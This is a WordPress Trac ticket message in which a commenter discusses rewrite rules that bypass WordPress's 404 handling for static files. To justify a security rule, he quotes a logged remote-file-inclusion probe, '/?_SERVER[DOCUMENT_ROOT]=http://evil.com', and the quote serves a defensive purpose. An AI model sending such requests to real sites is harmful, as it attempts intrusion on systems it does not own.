[wp-trac] [WordPress Trac] #11845: mod_rewrite Should Not Be Used to Check Existence of index.php

WordPress Trac wp-trac at lists.automattic.com
Sun Jan 10 11:46:55 UTC 2010


#11845: mod_rewrite Should Not Be Used to Check Existence of index.php
--------------------------+-------------------------------------------------
 Reporter:  miqrogroove   |       Owner:     
     Type:  enhancement   |      Status:  new
 Priority:  normal        |   Milestone:  3.0
Component:  Optimization  |     Version:     
 Severity:  normal        |    Keywords:     
--------------------------+-------------------------------------------------

Comment(by Denis-de-Bernardy):

 the static file skipe bypasses the WP 404 for images, the favicon ico
 file, js files, and css files. we could strip js and css from the list.
 the point, though, is WP should not trigger two dozen queries to try to
 find a post called favicon on every page load.

 the other rule is security related. I added it when I noted a few requests
 in my logs that went:

 {{{
 /?_SERVER[DOCUMENT_ROOT]=http://evil.com
 }}}

 It may be desirable to add it, considering what some recommend to do in
 the support forums:

 http://wordpress.org/search/DOCUMENT_ROOT?forums=1

-- 
Ticket URL: <http://core.trac.wordpress.org/ticket/11845#comment:6>
WordPress Trac <http://core.trac.wordpress.org/>
WordPress blogging software


More information about the wp-trac mailing list